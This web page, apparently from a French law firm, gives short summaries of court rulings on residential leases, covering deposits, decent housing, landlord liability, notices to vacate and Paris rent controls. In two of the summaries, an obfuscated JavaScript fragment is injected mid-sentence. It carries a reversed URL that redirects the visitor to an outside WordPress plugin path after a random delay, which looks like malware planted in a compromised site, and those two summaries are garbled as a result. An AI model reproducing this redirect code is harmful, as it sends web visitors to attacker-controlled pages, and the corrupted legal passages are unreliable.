Baux d’habitation/Gestion locative

– Cass., Civ., 3ème, 15 novembre 2018 (n°17-26986) Dans cette affaire, la Cour de cassation juge que la majoration prévue par l’article 22 de la loi du 6 juillet 1989, en cas de retard dans la restitution du dépôt de garantie, ne se cumule pas avec les intérêts de retard…

Logement décent et engorgement, Cass., Civ., 3ème, 20 décembre 2018 (n°17-24286) Dans cet arrêt, la Cour de cassation a jugé « que, selon le rapport d’intervention de l’entreprise de plomberie, la canalisation d’évacuation des eaux usées n’était pas conforme à la réglementation. En raison de son étroitesse, son engorgement avait provoqué…

(Cass., Civ., 3ème, 9 novembre 2017, n°16-22445) Dans cet arrêt, la Haute Juridiction, se fondant sur l’article 68 de la loi du 1er septembre 1948 et les articles L442-6 du CCH et l’article 2224 du code civil, juge que l’action en répétition des charges indûment perçues par le bailleur se prescrit…

Quelle est la responsabilité du bailleur en cas de troubles de voisinage ? (Cour de cassation, 3ème chambre civile, 8 Mars 2018 – n° 17-12.536) Dans un arrêt en date du 8 mars 2018, la Cour de cassation rappelle que « le bailleur est responsable envers le preneur, des troubles de…

Nullité du congé pour reprise signifié au locataire (Cour d’appel, Colmar, 3e chambre civile, section A, 22 Janvier 2018 – n° 16/05051) Le bailleur qui ne produit pas l’avis de réception du congé ne justifie pas de la régularité de ce dernier. En outre, le bailleur n’a pas précisé, dans…

Quelle est la responsabilité du bailleur en cas de sous-évaluation des charges locatives ? (Cour d’appel, Reims, 1re chambre civile, section instance, 9 Février 2018 – n° 17/00714) La Cour d’appel de Reims a retenu la responsabilité du bailleur qui a sous-estimé les charges ce qui apparaît lors de la…

(TA Paris, 28 novembre 2017) Le tribunal administratif de Paris, dans un jugement rendu le 28 novembre 2017, a annulé les trois arrêtés encadrant les loyers à Paris intra-muros et qui plafonnaient, depuis le 1er août 2015, les loyers en fonction d’un loyer de référence.   Vous pouvez consulter les honoraires du cabinet…

La Cour d’appel de Besançon, dans un arrêt en date du 14 novembre 2017, a jugé : « Attendu que le bailleur qui toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donne au locataire un congé motivé par sa décision de reprendre le logement au bénéfice d’un descendant contracte une obligation de résultat…

Délai de prescription et charges récupérables (Cass., Civ., 3ème, 9 novembre 2017, n°16-22445) Dans cet arrêt, la Haute Juridiction, se fondant sur l’article 68 de la loi du 1er septembre 1948 et les articles L442-6 du CCH et l’article 2224 du code civil, juge que l’action en répétition des charges indûment…

Obligation  de joindre une Notice d’information au congé pour vendre ou en cas de reprise Depuis le 1er janvier 2018, le bailleur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit joindre une notice d’information à son congé pour vente ou pour reprise. Le contenu de cette notice est précisé dans l’annexe…